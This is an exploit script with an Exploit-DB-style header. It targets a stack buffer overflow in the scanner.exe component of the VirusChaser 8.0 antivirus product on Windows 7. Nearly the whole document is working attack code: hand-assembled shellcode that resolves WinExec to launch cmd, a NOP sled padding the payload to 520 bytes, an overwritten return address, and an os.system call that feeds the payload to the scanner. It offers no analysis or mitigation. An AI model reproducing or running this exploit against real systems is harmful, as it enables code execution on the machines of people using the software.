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VirusChaser 8.0 - Stack Buffer Overflow Vulnerability
[# Exploit Title: VirusChaser 8.0 - Stack Buffer Overflow
# Date: 2014/03/26
# Exploit Author: wh1ant
# Vendor Homepage: https://www.viruschaser.com/
# Software Link: https://www.viruschaser.com/download/VC80b_32Setup.zip
# Version: 8.0
# Tested on: Windows 7 ultimate K
#
# You must have administrator permission to run
from struct import pack
import os
shellcode = "\x66\x83\xc4\x10" # add esp, 0x10
shellcode += "\xb8\x50\x70\x50\x50" # mov eax, 0x50507050
shellcode += "\xb9\x4e\x7d\x04\x27" # mov ecx, 0x27047d4e
shellcode += "\x03\xc1" # add eax, ecx ; WinExec() address
shellcode += "\x68\x63\x6d\x64\x01" # push 0x01646D63
shellcode += "\x66\xb9\x50\x50" # add cx, 0x5050
shellcode += "\x66\x81\xc1\xb0\xaf" # add cx, 0xafb0
shellcode += "\x88\x4c\x24\x03" # mov [esp+3], cl
shellcode += "\x8b\xd4" # mov edx, esp
shellcode += "\x66\x51" # push cx
shellcode += "\x41" # inc cx
shellcode += "\x66\x51" # push cx
shellcode += "\x52" # push edx
shellcode += "\x50" # push eax
shellcode += "\x50" # push eax
shellcode += "\xc3\x90" # retn ; WinExec()
# BOF retn: 0x0040753d
pay = shellcode
pay = pay.rjust(520, "\x90")
pay += "\x9c\xdb\x12"
os.system("C:\\\"Program Files\\VirusChaser\\scanner.exe\" \"" + pay + "\"")
# 0day.today [2024-07-07] #